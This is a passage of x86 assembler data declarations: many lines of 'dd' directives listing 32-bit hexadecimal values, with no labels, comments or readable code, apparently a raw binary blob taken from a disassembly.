		dd 29DECE0h, 8226CD21h,	38C0F780h, 6119C6B8h, 0D9890451h
		dd 0DC396C40h, 0BF4A38CBh, 55EEBC04h, 2628A0E2h, 0A79F4B07h
		dd 0E63E1E98h, 71806D2h, 493C0209h, 816E306Dh, 0AB1287CFh
		dd 3406A5BAh, 7229D4A4h, 70E85C03h, 0ADA2117Eh,	0BED800D6h
		dd 2B1812AAh, 9824006Eh, 2D77857Dh, 0D507F482h,	1D3A0A34h
		dd 611B37E1h, 0D21A8F3h, 8CCE3F39h, 62E7A380h, 7AAE0905h
		dd 55742A00h, 0B1F7527Bh, 0B8B77529h, 53450E2Bh, 0F9800C58h
		dd 0A94B2427h, 0F10F0AE6h, 346A97h, 842D1496h, 0EDC4048Dh
		dd 80C8321Eh, 0E51729E0h, 71E19001h, 0A7544E16h, 1072160h
		dd 0B8B1B2A6h, 2036F449h, 0F1007619h, 3394A1D2h, 0EE5865h
		dd 12242E83h, 7EBAE5D5h, 99149000h, 0FB394554h,	1AB51FB1h
		dd 55CC73Eh, 61E9E0A1h,	0DF2C9472h, 37005B31h, 7DB4269Ch
		dd 0BB880001h, 234C8EB3h, 457E9F69h, 15E5A201h,	8CA4E732h
		dd 0EE02FFCCh, 1D9E7CA5h, 808B1BD0h, 3A410BAAh,	6C008230h
		dd 8AEB069Fh, 51BDE2h, 0B1D2EA5Eh, 3B6920B4h, 0F9A3A58h
		dd 60A337CDh, 6BFA036Ch, 0DFE03ECh, 0B37DEE7Ah,	979F63C0h
		dd 484CDD0Ch, 0E268Bh, 8DDF2110h, 2D58E3CDh, 0C1CE0200h
		dd 0A2A006B3h, 0B5E500F6h, 0DA41ACC2h, 990CA88Eh, 18F75174h
		dd 7C4000FEh, 1A804F7Fh, 6A1D47EFh, 0C0000330h,	96ED7E5h
		dd 935F0F9Ah, 14A01DB5h, 2C285495h, 0F5C11C00h,	0B2DC9D26h
		dd 0ECDB7CA9h, 619600BFh, 0FBA54844h, 40002C3Fh, 0C7520218h
		dd 0D4A84h, 54319947h, 177AFE6Bh, 2D57F703h, 0D8F2ACFBh
		dd 98B14727h, 10A9037Dh, 4E6CC861h, 26A46B80h, 21DFA700h
		dd 92E0AE96h, 105B806h,	414371AAh, 0E04A3FF4h, 6A3F5FE3h
		dd 8A29AE31h, 0A3281800h, 0DE3D45h, 0B30FABC6h,	0E09D91DDh
		dd 2939F403h, 80FC6119h, 0B242D4D5h, 15ED09A0h,	94002625h
		dd 51375C66h, 1A685505h, 56862411h, 9DE73A29h, 0AAB45600h
		dd 0D326F109h, 2A36CC00h, 0FCF9C740h, 0AE2C1FE9h, 92C0C00Eh
		dd 73727BC9h, 3970E47Dh, 0D754EC00h, 0D06B1DCEh, 5AF10092h
		dd 435E2BAFh, 420F263Ah, 724D7335h, 60475C0Eh, 0CF5B36ECh
		dd 0E1800EAh, 9871726Eh
		dd 0B70085EDh, 0D9694E0Fh, 0EF88DFh, 813566D6h,	0D9E0564h
		dd 0BE13F094h, 759D3E00h, 0D07D6Ah, 2531AF54h, 74E0E11Eh
		dd 8F52F801h, 44948AB2h, 0AE4B8E1h, 7E5E00DEh, 751A025Ch
		dd 0CB01933Dh, 0B2AFA723h, 5C618ADBh, 0AFD6DD1h, 22B1E985h
		dd 8EA50077h, 0AF68D081h, 0D6089500h, 55CFF4DDh, 0E1F15F24h
		dd 0FC8431BCh, 91009DEDh, 0D26A945Ah, 7197D5h, 0FE196F56h
		dd 0B208322Eh, 57E8E8D6h, 0ACF84900h, 0F1A2AA60h, 8EC83C54h
		dd 0CFBCE700h, 5C9032B6h, 227F00DBh, 0DDA72E18h, 1A00BFFCh
		dd 58E97EAAh, 16C3FD15h, 0C0629FA2h, 1359258h, 7CE07000h
		dd 0C3B3EFC7h, 0EC2F4CA1h, 0FC98C804h, 24DCD055h, 0D40033C4h
		dd 0CAA91452h, 0EEB10C6Bh, 0A4080083h, 96778055h, 0F7005B5Ah
		dd 0ED72639Dh, 747164C6h, 8B6A0087h, 8F76D4EFh,	783DBAE9h
		dd 0E7D80486h, 0E0A4FAA5h, 28EF00E2h, 93AA742Eh, 771F4598h
		dd 612D9ADh, 0D1AB9490h, 1E434C63h, 30452D0Eh, 1D4DF983h
		dd 60482078h, 0D11600B7h, 6475BC62h, 0A3761F90h, 0FDA08719h
		dd 5449832Bh, 833C55B0h, 0E0D74200h, 0E45933C8h, 234FA27h
		dd 6A45AA64h, 0AAC0626Eh, 5B00A88Fh, 8C760DA6h,	1DDDFACh
		dd 0AA442C24h, 2D45B8A5h, 0F47B245Ch, 0ADEFD801h, 6FF529E4h
		dd 3C4FA3D7h, 5093098h,	1064A33Bh, 5C20E543h, 94E954F8h
		dd 14A478h, 8CB9C4E5h, 0AFD29DEh, 0ACF052DAh, 0EC9307E3h
		dd 6529EC77h, 0C9031F00h, 0DB9147B3h, 114A003Ch, 6AAF1A0Eh
		dd 0EC3B50F1h, 936480A8h, 431C2AC3h, 954D03E5h,	802CF3A5h
		dd 446E4809h, 3130102Bh, 611A6FB0h, 0DCF39300h,	550C3DC1h
		dd 19254A6Eh, 9EA400FCh, 0A533850Bh, 2675C3D8h,	0D6FB5D0Fh
		dd 6A5A2036h, 0F3FFFE0h, 86AC52EFh, 32E77DEEh, 1AE61354h
		dd 4D0D4907h, 0A595B0Ch, 4E0F2D06h, 0CF6CC0F4h,	3BE0275Ah
		dd 9160799Dh, 4DEBE523h, 133E3300h, 4F4B7719h, 0AA5204C9h
		dd 0C344FF62h, 47C36EF7h, 0A90C6115h, 2DB303B8h, 0CFBA8E4Dh
		dd 0DD4EBB70h, 1DE6005Bh, 0F843B696h, 17262B58h, 0D0A62434h
		dd 0AEA9CB06h, 1392F841h, 7BE1D8Eh, 20B7F7E2h, 6133EB4Eh
		dd 70CE3D37h, 2EA6A932h, 0D079E82h, 5E00745Ah, 99B3154Bh
		dd 881AE511h, 8A07A5FEh, 0E0917180h, 359BE311h,	1D9B0D8h
		dd 0AA4F1C6Dh, 27A278h,	0E90F3F7h, 0FAEA30E6h, 0A7E01420h
		dd 86FA6633h, 84CE3B26h, 65E9E400h, 0AEC99Ah, 0A47158CFh
		dd 0F53FF636h, 79B4100h, 0EF399457h, 95D63A21h,	0CA810B80h
		dd 38A11831h, 7A07F300h, 69090D97h, 4230CB5Bh, 1F331900h
		dd 0D0F92AAFh, 2700E008h, 0C95C406h, 0A09F2Dh, 0A4D607F2h
		dd 3DFD93F6h, 87079BEAh, 4A4D460Dh, 4E2C3380h, 6B50E08h
		dd 0B10BCCFDh, 13C0308Eh, 0B75BB8BEh, 0FCA00500h, 937803DAh
		dd 7530292h, 3D401D50h,	385ACCC0h, 0AF12216h, 4CCAD00h
		dd 810DD1h, 0A224EEBDh,	1C2B46AAh, 682A4901h, 57335519h
		dd 45EA7FDh, 85142F28h,	0D886F704h, 0A01012C2h,	0D9E3FDh
		dd 0E028F89Fh, 0ABC02EA6h, 5EF62500h, 6432D7D8h, 0AD4219BDh
		dd 8F429EDh, 328441Eh, 440C3344h, 228460D7h, 30F82ADBh
		dd 89F0F488h, 44C3086Ch, 28A08B1Ch, 3889D62Fh, 1F448F08h
		dd 0A53144C7h, 8444DF44h, 0F77B0D10h, 210EB321h, 0B01130DEh
		dd 6CAF19E2h, 0A7084F29h, 7C51DB65h, 6E051404h,	1B427B48h
		dd 218824DCh, 77126DB2h, 0CF864910h, 1111D479h,	23116721h
		dd 89667432h, 51C029h, 2D1BF309h, 39B79C31h, 0F081D900h
		dd 13D82494h, 7FBD03A4h, 3F736759h, 0A7C0E3C8h,	0A3723900h
		dd 5F822031h, 10B30084h, 451ACC6h, 0E000F67Ch, 95E9FF81h
		dd 1D9D19EBh, 0C530E1B0h, 9636B8h, 0DA5978C3h, 5F3E2DBEh
		dd 9D4B1F5Bh, 0BB7E7280h, 0F847F4B0h, 5C0A031Dh, 21CFB583h
		dd 0E8F2F388h, 0F60077F0h, 0A307D0C2h, 2A98AE6h, 6755B29Dh
		dd 38C0AA86h, 0BE0052F3h, 0A5E3D37Ch, 0C3A3D7h,	37AF350Dh
		dd 1912F9D4h, 99390909h, 0A35C2025h, 7AB8DCEFh,	353C00E4h
		dd 0D7F7DFC0h, 1B16555Dh, 1A07CE10h, 0B4C03882h, 38267ACFh
		dd 6F80EEC0h, 93B56096h, 48005686h, 3A0CA7E4h, 0E803D2h
		dd 0E6D8FCE9h, 6E088935h, 2C0E4300h, 51261D2Ah,	0CD7BDBh
		dd 685CAA39h, 566C177Fh, 0C700E89Ah, 5DC97EF8h,	14325823h
		dd 0D573187Ah, 0BAA79A18h, 4E00FFADh, 0B5D212BAh, 0FAEDE07h
		dd 0B2DB2973h, 0A7E3DE0h, 0A000DD48h, 0C2762002h, 90C3B007h
		dd 4E600606h, 10B498B2h, 3DA5FD03h, 16ADF5h, 0DD0AEEB0h
		dd 0B36C1D0Eh, 9131C0A0h, 0C533BA00h, 0F510BDA0h, 5950025h
		dd 589B73ACh, 3A00B739h, 4F9455AEh, 503429DDh, 54A075h
		dd 5E853887h, 586105B1h, 70608100h, 37989715h, 10F09719h
		dd 0A9D8EE00h, 3BF1D78Ch, 9E8600A5h, 0FF2B1748h, 943BDC6Ah
		dd 1E128F44h, 8AE3C014h, 899B51h, 50799A5Fh, 613BBD92h
		dd 0EB32A101h, 0C04FE0B6h, 78F05C61h, 80530E77h, 9640FCCFh
		dd 0B98BC812h, 64A65800h, 326ACA88h, 26E40BB3h,	0CA808A8Dh
		dd 0B9387CA2h, 840003F4h, 0CA57B012h, 9062FA15h, 8D180039h
		dd 0BBEF8BF6h, 4409B8E1h, 138121h, 0B7382CE2h, 0F1AC0009h
		dd 0A99E7505h, 8501123Eh, 0FD94FA16h, 5DD89796h, 0CB111EBFh
		dd 3F5BC014h, 359E4E89h, 17662B03h, 889DCF29h, 0B8EA7E80h
		dd 1F7E874h, 664D9E3Ch,	0C84A0BCEh, 722C3AABh, 0D300F612h
		dd 90600AA0h, 0B099017Eh, 82EA43E0h, 0E48C2080h, 75239200h
		dd 349DB7D3h, 99690094h, 9320F655h, 243FC0D1h, 4EA98814h
		dd 0F93833h, 0D0C79077h, 42CF2EABh, 0A9ADC20Fh,	0A29683ECh
		dd 46A1D088h, 28410743h, 1F128905h, 3053A3C7h, 0B4631150h
		dd 1FD14600h, 786808F1h, 167112EBh, 12C1C7Eh, 70F4A882h
		dd 91D1EC9Bh, 0DAB7280Eh, 0A159EE88h, 0B1DE22EBh, 0B79CCh
		dd 1AC92D3Eh, 339E9D3Ah, 0A86A8424h, 0A131FE60h, 73F3005Eh
		dd 5703E302h, 0B9099B93h, 77880880h, 63D4C680h,	23744086h
		dd 9C145906h, 4CA7EEh, 94A6A48Ch, 5DC43431h, 0E70D51Eh
		dd 20BF8580h, 4D62D51h,	7CD2FFB1h, 0E7989061h, 300B42Fh
		dd 37D8EBFEh, 3E409AB7h, 8D9352E6h, 9D8401D6h, 0F4193E14h
		dd 8A005AADh, 7837A276h, 7295BD8Bh, 92340009h, 0B9E9D245h
		dd 1F001B9Dh, 0CA8F6F4Eh, 0C1874h, 789623B7h, 4BB090EFh
		dd 581C8800h, 5541268Dh, 20C109A4h, 0C8A02D50h,	9034658Ch
		dd 0B9998E01h, 1BFE2919h, 0C0C4DF4h, 0A7B3E0E2h, 1607DBF2h
		dd 0E65D6CC0h, 0FA81C04Fh, 5E1B7Eh, 2B43183h, 1EEC3A34h
		dd 69A6AA03h, 6C1473Fh,	248E04CAh, 300046E9h, 0D0CA49D3h
		dd 5D9577Dh, 0B2916678h, 638448h, 779DEA4h, 0B7009ED3h
		dd 19C62145h, 0D18312h,	273F6380h, 0CF267094h, 9BA4B10Bh
		dd 49202396h, 0CCC094F5h, 0DAFB20h, 1FBEDB5Dh, 4F4CC57Fh
		dd 15002373h, 0DCF99553h, 49721019h, 963B0874h,	76FEB780h
		dd 664ED1F5h, 0E7CA3300h, 0E9DC3FF9h, 0FC2B07C7h, 0DF930170h
		dd 0F6F16380h, 0B2075FD7h, 83EC04DBh, 4F54F000h, 0EF66002Dh
		dd 51DA5BD0h, 0F27BF768h, 5926A200h, 3719C00Bh,	46080901h
		dd 0C020ACF6h, 985569F5h, 35092300h, 361A197Fh,	0CFE8D6h
		dd 945EFF8Dh, 31C63A47h, 2F106B00h, 83BB2D18h, 0F96400C1h
		dd 85F6EE29h, 960081AEh, 62820DD2h, 573204h, 59C2AD87h
		dd 0ED03749Fh, 5CE59600h
		dd 55F5E481h, 7CC5014Ch, 3EA5C2D5h, 0F169E07Eh,	5BEEF00h
		dd 3012F5E2h, 68E3056Bh, 0C0638D88h, 0A718043Bh, 968E1A00h
		dd 0D37EFE50h, 9AE50080h, 68137062h, 870ED0F4h,	2FF283B5h
		dd 4EEA2033h, 3CE7475Eh, 280EB794h, 5BA0DA4Ch, 1D3ABB8Bh
		dd 2CDC38h, 3E5506B8h, 4894E0B2h, 0B4006064h, 53C1BC8h
		dd 0B807788Ah, 6E06F817h, 741D7C00h, 777C62h, 0E6962758h
		dd 0A63F1AF5h, 9E704100h, 51FF134Eh, 7B3874CFh,	732C00C1h
		dd 7F438853h, 0CE0083FDh, 0ECDB3959h, 29A8D1h, 0E9A5A73Eh
		dd 0E40F4E9Ah, 0AC843101h, 668F7352h, 63FFD0h, 2F687D99h
		dd 0A169559Dh, 7C7F5D1Fh, 0CF69843h, 5901FF23h,	71F494DBh
		dd 0F4F07EC2h, 2191DAEh, 0AA420043h, 0C6E2298Eh, 3EF52C3Fh
		dd 9B7B00D7h, 66692D11h, 81521D19h, 5D0B095Eh, 3C01FC0Bh
		dd 30A1824Bh, 0BC07B32Ch, 28123F40h, 9BFFAB60h,	0EBBA00F3h
		dd 1A01250Dh, 0C013B45Fh, 78006D23h, 20D9A4C1h,	0C7B80075h
		dd 0DA77FA87h, 2400307Eh, 9F4E3A0Fh, 583DABA7h,	0F44C53B1h
		dd 76590600h, 648A96D3h, 296E5C00h, 0D2C41E92h,	631A009Dh
		dd 0D02D4440h, 90007F34h, 0FE15A1DFh, 7C060Eh, 19C75D4Bh
		dd 7BE06C63h, 2FA72E00h, 29D7B3EDh, 0D0054D3Dh,	0CDAC9300h
		dd 5BF67602h, 6623C512h, 56050000h, 2796568h, 6F2AAD7h
		dd 97817A2Ch, 60898CA5h, 1100D837h, 604587EBh, 59776FCh
		dd 6FC070A7h, 8004842Ah, 15984B5Fh, 0A5350E0Ch,	0F27249h
		dd 0E69BD5FDh, 50DDF46Eh, 74EC10C7h, 0D407BF05h, 0EB70369Fh
		dd 37B565h, 0D7BBD20Ch,	52F9D686h, 0D10D1601h, 4E540334h
		dd 41CF6C8h, 7CF315FEh,	7474D0A0h, 160F953Ch, 0A0E4219Ch
		dd 120050Dh, 0B014001Dh, 65D4151h, 42000F62h, 254D914Ch
		dd 24FFB6BEh, 0EED464h,	0AAE73F09h, 23263630h, 74248DF7h
		dd 0F84CD00h, 2C4BDFEFh, 1B4AC2Ah, 2731179Eh, 2E47324h
		dd 65C4C74Fh, 2FBC48CAh, 120BE6E3h, 363495Ch, 306A61ACh
		dd 1E3106A8h, 3EAC4200h, 0BB010ABCh, 6EE300FCh,	59AEC01Ah
		dd 9890B5A3h, 4713F6FCh, 84053C4Ch, 0E080909Ch,	0C1CD81h
		dd 0CA7A1C8Bh, 0AA1870FBh, 57046300h, 0F92B91ACh, 37390135h
		dd 8EBDADDh, 0F13030F0h, 97AE641Fh, 83725740h, 3CC874AFh
		dd 1B806162h, 8F4F9135h, 5004D5B8h, 5DF12363h, 0D05390C0h
		dd 27E0E5h, 0DAB53154h,	7D32C155h, 83037100h, 6A5BD756h
		dd 69490044h, 0A164FD10h, 0B2072216h, 2C358641h, 3A800B9h
		dd 0E26BE9C3h, 0B787005Bh, 0E6B19684h, 0E31CD761h, 0CF64F30Ch
		dd 3A416607h, 7ACADB80h, 495200B1h, 5DB6B262h, 1FE022C3h
		dd 0D71BEF04h, 0A88121D3h, 0A9E474D6h, 0AA0D013Ch, 0CF873C5h
		dd 1C09DCF4h, 0FC2A7C01h, 3CEC72C3h, 1FABB1F7h,	395EECh
		dd 7086A766h, 0B05B08D0h, 1D5C3303h, 0F04F602Bh, 3F7F48BFh
		dd 7138470Fh, 0C084359Eh, 0D4CEBAE5h, 0D800DF7Bh, 0BDAD02C2h
		dd 5C5C6B18h, 0E628005Ah, 0B6612C98h, 497D0070h, 0FCC20FBEh
		dd 80FEB03Ah, 0DD65D2E6h, 39725A97h, 0F6B9F3B8h, 7844748Eh
		dd 5F5C5E40h, 0D400F1C4h, 0B606E01Ch, 753E5Bh, 7B0C6EBEh
		dd 9BD7FF60h, 67696801h, 6F4537FBh, 7BEC50E4h, 6D89006Ch
		dd 0E590E3DEh, 0E81CA570h, 1C40AF8Dh, 0EE395F7Dh, 0EB30171Fh
		dd 0F75B01E6h, 0EC5270BCh, 0A7036DACh, 0DB85446Fh, 0A30FFFB7h
		dd 0E12C0323h, 0B820E55Ch, 0CD24079Ch, 0EF080CF0h, 0B8E116AEh
		dd 706F3C36h, 0EA0229E7h, 0AA079A3Eh, 5216E0A3h, 0A7FD04D6h
		dd 0E0E6330Dh, 56017F50h, 3F889E5Bh, 0B820DC98h, 76390055h
		dd 8ECFC27Eh, 0E0767233h, 6C52E00h, 9C6EB2Bh, 62F42C9Bh
		dd 9A930087h, 0D3E0D905h, 92881C00h, 0B2B3362Fh, 433B00B9h
		dd 66179523h, 3A057567h, 0FBCC06C7h, 41324582h,	0EE0351Ch
		dd 761618ACh, 9F6C80D7h, 9E84C200h, 0CB1F89B8h,	0B1460514h
		dd 80ABB793h, 863CEAC4h, 0A9CAF418h, 249A6C10h,	1E554C70h
		dd 0D3286Dh, 76D581E1h,	0B8F68DE4h, 8B076C74h, 7AFA7D1Eh
		dd 594D53E0h, 8E2C0119h, 0CDD306F6h, 45F2D4FDh,	63E1EE02h
		dd 70528737h, 1C010080h, 0A6D2462Ch, 400501Ah, 0F54C3A55h
		dd 4BBD6EFCh, 0C0001C7Ch, 0F8E8C7E7h, 0F40569B4h, 4DD64240h
		dd 0B9813090h, 0E27B5Eh, 436E778h, 754F64FBh, 300C6976h
		dd 7011C223h, 33617633h, 5C38EEDEh, 2B3596E8h, 0B5786703h
		dd 0DD7640CFh, 0E8DF9380h, 0BE930072h, 8A3B241Ah, 0E4E04B83h
		dd 2612A738h, 8824A57Bh, 875AEC00h, 7B94FE4Fh, 0FDCA006Ah
		dd 6DDDBEAh, 4E0C7958h,	60748BDEh, 0C3F10011h, 0EE92DF0h
		dd 1E0EA31Bh, 20BAE0FBh, 78CB611Ah, 0AA821FD9h,	0C31242FFh
		dd 33E00A54h, 0A801DE4Fh, 7D6F7BEAh, 4880F0E3h,	0B99E1E1Ch
		dd 1D26805Ah, 86027E93h, 60A5EE36h, 73A1D0h, 72A34312h
		dd 0DB80F540h, 0D3399113h, 4072900h, 1D0A79CBh,	4046C5CEh
		dd 40B9E632h, 2500E71Fh, 0DF72B2C9h, 766CB1h, 0F9C106D4h
		dd 0E2E68F86h, 43B0770Fh, 0D802E015h, 242AE1A6h, 91CC232h
		dd 6823F1E0h, 0C1CFBF84h, 200CBDD7h, 0FD07D055h, 963D3EE4h
		dd 0B39228E1h, 1EF0DCh,	73534021h, 15622A78h, 0C7A4A6C7h
		dd 13F3A120h, 8A5A007Ch, 8C6E9F71h, 8000F641h, 0B29EEAEEh
		dd 50B98750h, 1AA694h, 15BF10B7h, 9AA947CAh, 0A3119300h
		dd 0F171C255h, 634C0730h, 0C0DCEEF5h, 0FD1ABC97h, 0D8003A78h
		dd 74B69931h, 80FA16h, 0C3797F4Ah, 0A244706Eh, 54539100h
		dd 0B3739529h, 0AAAB01DAh, 0BF5E6411h, 0F7E9E4D2h, 0E9070C3h
		dd 0AA3D98A6h, 38A1C4Fh, 92414768h, 45E07F7Fh, 5D57F68Fh
		dd 64A6C50Fh, 0A9774272h, 441CE074h, 0BC6B00F3h, 0A4FCE678h
		dd 8A00C0BBh, 3AB65C62h, 7B56FFB3h, 0EE196027h,	0E20D200Eh
		dd 8A2AEA00h, 99B41AD8h, 50A200B9h, 0C15AAF0Fh,	9D03DF14h
		dd 0E5245EF6h, 0F251D02Ah, 0E6E9032Eh, 2BB0D0Ah, 0F620AB88h
		dd 50A45407h, 0B2E68DE7h, 5E9C1138h, 0C66C0B4Ah, 0FB10802Fh
		dd 0C02DAFCBh, 0A27C4519h, 0FF008A08h, 0FDC2C4D1h, 548529h
		dd 5B538E40h, 26A90B75h, 33D0CA0Eh, 18EFE086h, 1FF87F1Dh
		dd 9328E104h, 0C0F8C0D4h, 58FE7293h, 0F9189EF4h, 2769F751h
		dd 4BE013B6h, 0B71F03A4h, 3C8F4D9h, 47002182h, 6B0A2AA0h
		dd 364560Eh, 136F0752h,	77A1B370h, 0B099C8C1h, 0F47AF20Ch
		dd 3F365016h, 818019CBh, 32B7DA78h, 0B30E2C99h,	0A0E784DFh
		dd 0CA37D897h, 7F16001Dh, 0ED6D4966h, 80486955h, 653200D5h
		dd 186C7D1Fh, 0F19D018Eh, 0E4D801AEh, 0AC7930E2h, 0DC38FFh
		dd 5F8F73EAh, 9754F9h, 26255329h, 1430C3F8h, 8522181Ch
		dd 0E7B4807Eh, 8E5F2963h, 37B7C6Ah, 1B57339Fh, 71C88F6Ch
		dd 9A00E769h, 8C257E5Bh, 1C1AEEAEh, 0BFB56358h,	7CC55580h
		dd 4346CB4Eh, 808AF43Eh, 0EF3AE176h, 1E4C4D57h,	0CB2827E9h
		dd 0E0808CC5h, 0DA1F0153h, 1B1E3509h, 0A3D40051h, 4DBEF404h
		dd 94009C22h, 30D27DF8h, 0F54DA4CAh, 1E5300CCh,	22F2D1C9h
		dd 1C4FE56h, 9D18B80Ah,	708868A6h, 5F0011A4h, 612AB9F5h
		dd 148913Fh, 0E9D977EFh, 30BB043Eh, 4D3B998Ch, 0DFAD24C1h
		dd 50A8D600h, 0AB8CFCh,	0ECBD03Ch, 88745A8Dh, 100099FEh
		dd 5D30982Dh, 56FEB6h, 0A8EC091Fh, 0DB6A2261h, 3900A97Ch
		dd 2EBFB905h, 0E8AA7224h, 0B0450002h, 0E5A75C6Ah, 9600D14Dh
		dd 7A6E6DAh, 2B3AAFh
		dd 778279F7h, 2269B9F6h, 5797B100h, 1C376DFh, 569F00A7h
		dd 0EBA6C0C7h, 6F3818ACh, 77BE80D9h, 88E4FAF3h,	0A810606Eh
		dd 42A1CB14h, 812A0B3Ch, 362E2D2Ch, 4C780D83h, 0D40B6E48h
		dd 58014026h, 0DC4676D0h, 0D200CD1Dh, 0BDA565C5h, 6FCA8Ah
		dd 2115F22Ah, 6BDE917Ah, 75E9EF00h, 0BB9BA4F6h,	65FD0120h
		dd 3B5919FAh, 0A198D3E8h, 0B0B00A7Fh, 93B63800h, 103A9041h
		dd 7C72651h, 691700F8h,	0A88B4A7Ch, 90736A00h, 66CAC474h
		dd 3FD60040h, 433078F5h, 0E800D531h, 0B9D78996h, 585BE923h
		dd 0FD50FC2Dh, 0E872478h, 0C4F18404h, 3D21C0A0h, 66734DCDh
		dd 80087B3Fh, 6216DFF5h, 250A8E61h, 4C05D56h, 7BEE4AA1h
		dd 0D69DB900h, 6DE63D50h, 5FF4B0h, 90F420CAh, 4C8976ABh
		dd 7A78F20Eh, 0A1508037h, 0A1D71463h, 0FCFC62B8h, 305090D6h
		dd 94B1EBE8h, 9001E17Fh, 885A993Eh, 0D8FADBA1h,	0BBCE0138h
		dd 196D5FB7h, 0F80BF59Eh, 8B1F68E8h, 1B80FF37h,	0EECA67FEh
		dd 0E57E2E93h, 0CD210E9Ch, 3EDCEF41h, 4A41C0C6h, 0FA2E3800h
		dd 4DDD839Dh, 64BA001Fh, 4252958Eh, 0C700FCC6h,	0F870C187h
		dd 9D4B7Bh, 14A4AF51h, 693B0358h, 0C0134100h, 7466BD0Fh
		dd 8353008Ch, 0A02531E0h, 0B6134D81h, 18C02144h, 7824Eh
		dd 36141A91h, 2FCC0C90h, 0E623A200h, 0D9F544D2h, 63172471h
		dd 90870FDCh, 4C90092h,	0FE1CE7DEh, 0B01F8800h,	0B72C4382h
		dd 0AF160FE4h, 28670C60h, 12DA90E7h, 2A0FEE7Dh,	0E096D9D0h
		dd 0F65997FAh, 0F3C80792h, 6C1E7FE6h, 2B900E60h, 65079E00h
		dd 6A109F13h, 9D930BF1h, 4E03F670h, 94E8D76Ch, 8726F866h
		dd 890032C9h, 9B3E0BEBh, 597F00A6h, 0A16D8F84h,	99173583h
		dd 1C022D93h, 0E07AB0FEh, 0EAF010C8h, 128B00D7h, 8C71CD7Ch
		dd 0E055630h, 981AF6D4h, 23C070C4h, 47D32Fh, 5779CAA4h
		dd 9F6AF146h, 0F83DA901h, 0B73433CCh, 4953ECh, 45B42D15h
		dd 822432C4h, 0FD055F2Ch, 8040170Bh, 55479FC4h,	4273004Bh
		dd 703A013h, 0E10082CFh, 7598ECDEh, 7C2D9D17h, 0F6300053h
		dd 0AC465F16h, 0E9A0797Eh, 9D000A1Dh, 1A3D2365h, 12A78AF3h
		dd 0D3509Bh, 0A15BD850h, 45009482h, 0AEC1D030h,	1E780A7Ch
		dd 0C05D8B71h, 0BBDD221h, 9D0070E6h, 9BB18969h,	0F7982Bh
		dd 4CEDC7F9h, 0DA2A3A88h, 89237E11h, 323D5102h,	0D070EA8Eh
		dd 0A373Dh, 0D66F6145h,	644EBBh, 0B04B6817h, 0A6D2C632h
		dd 0ED7EAE17h, 0F5C23043h, 0A7DC072h, 0A9EF07BCh, 515BD2h
		dd 9118F2A2h, 74AF5A05h, 4483AA5Ch, 6B7C884Ch, 342100F3h
		dd 453906B8h, 491E7B4Ah, 5540EF7Ah, 5932C3DCh, 8AAD0237h
		dd 0A43AEA94h, 0B00448C0h, 1FD18800h, 0A177A0DDh, 0BF4A03h
		dd 0DEACDAC8h, 4E07A9E4h, 4080B6F2h, 0EDBD4141h, 2666D120h
		dd 138CAEE5h, 6700FF69h, 0DC9FFADBh, 0E7BE4C72h, 48C6EA0Bh
		dd 4BAE9821h, 766C0B9h,	0A57CDB18h, 0DAED80h, 0FBD6A250h
		dd 9C9F3D6Dh, 0AD163000h, 0E53F0E1Eh, 0D0CF0029h, 0DF2A5D94h
		dd 0C8003D63h, 0C9063266h, 268A844Ch, 99E2560h,	1607A93Eh
		dd 0B880F92Ch, 0BB75EA9Ah, 98628E27h, 25AB8B48h, 18849F58h
		dd 2894C2B3h, 9C88A8h, 0D3B0DFE6h, 44161DACh, 0A09D722Dh
		dd 38CCCh, 1516E5E1h, 68BE59E7h, 891B4500h, 17D582F8h
		dd 0E40F0061h, 311069FCh, 0E4F909B5h, 0C9235BCh, 845D020Ah
		dd 0ED00A0BAh, 0DA196715h, 0F90607F6h, 0A6C8E79Dh, 0A70CC837h
		dd 0DC36AB20h, 39AC1CB2h, 0FF784099h, 26FB0245h, 0B6016200h
		dd 8AA46A7Eh, 94C12CA1h, 0DAD0304h, 19D81295h, 7939AEC7h
		dd 6B399BF2h, 0A9F08059h, 805C0DD1h, 3CE1520Ah,	3310238h
		dd 0A3852CEDh, 9CF3EB28h, 1E54DC13h, 25323403h,	0B8FF793Eh
		dd 3D4E18B2h, 0FCE9A7h,	0F7F6E75h, 0A55620D5h, 97572E00h
		dd 5D7929D2h, 233F0611h, 80F1DE24h, 1ECCB81Dh, 78A2B1D2h
		dd 59F8BD00h, 0AD5D3166h, 653FE10Eh, 0D9646538h, 82348820h
		dd 949780FFh, 1237EE00h, 8D9FF3F9h, 70F0AEFh, 3DF3CD29h
		dd 1AA716h, 6AE3979Fh, 0D000FF83h, 8525346Ch, 184552BFh
		dd 28F1C3A9h, 0E03E69B8h, 8BCF8009h, 0B33A17ACh, 9A804834h
		dd 2AC2FE00h, 0BC54287Ah, 3C82258h, 369B1B30h, 0D0D3C8B2h
		dd 271400B6h, 39044F25h, 0C0A82287h, 24F976A5h,	2500EA08h
		dd 6AF656CFh, 6478DCh, 19DF538Dh, 60AC75F5h, 908076B0h
		dd 8B076CE5h, 4F53E1D0h, 8276D40h, 0A96805FDh, 0C0915E8Eh
		dd 0BC0EADB4h, 0E5268F0Fh, 0CA6D602Bh, 766492h,	1DBF4F6h
		dd 655963F2h, 95E48498h, 4CF2289Ah, 0C4329303h,	885E3DA2h
		dd 7FBE0h, 4D143BF4h, 6CA1B178h, 6DCFB400h, 0FEAA7ECDh
		dd 330F1DDCh, 498783E7h, 0D9886B58h, 3913D0BCh,	230FE3D6h
		dd 806C0C7Dh, 2CE6FA40h, 234301Bh, 0C9D7097Bh, 32B26054h
		dd 0B138C0EAh, 0BB350411h, 4733B642h, 2070260Dh, 0FBAE1Bh
		dd 25EBCC57h, 17BCC71Ah, 0F86C0200h, 4A0BD168h,	124206C9h
		dd 7EFED4DEh, 1BAD1A07h, 0A8401310h, 2069C5h, 0F93ECF8h
		dd 85E0B17Eh, 4E17D5ECh, 16C746h, 9940CC5Fh, 58624445h
		dd 9A30064h, 87F3EA89h,	5F027357h, 3471623h, 0D0B163A6h
		dd 0BD56E1h, 299B8F50h,	39F852A8h, 0B2DFFF00h, 0A4712FA1h
		dd 83230032h, 6C995B56h, 5E00CD2Ch, 0ED54DE38h,	95EB1890h
		dd 817FA800h, 0FB09D22Fh, 12923E0h, 9067A330h, 7418602Bh
		dd 8174527Dh, 5794C200h, 0EEA13621h, 6A1E005Ch,	41CB48DAh
		dd 3E090FEBh, 7DB437h, 0CD0D7685h, 184B29h, 8AB7992Ch
		dd 0DE008C66h, 4BB086E1h, 0F252D262h, 2F6700B9h, 2CD82369h
		dd 7A0F36C1h, 0C0E5B2B1h, 0D315E2E4h, 4B3E613h,	237CD1A1h
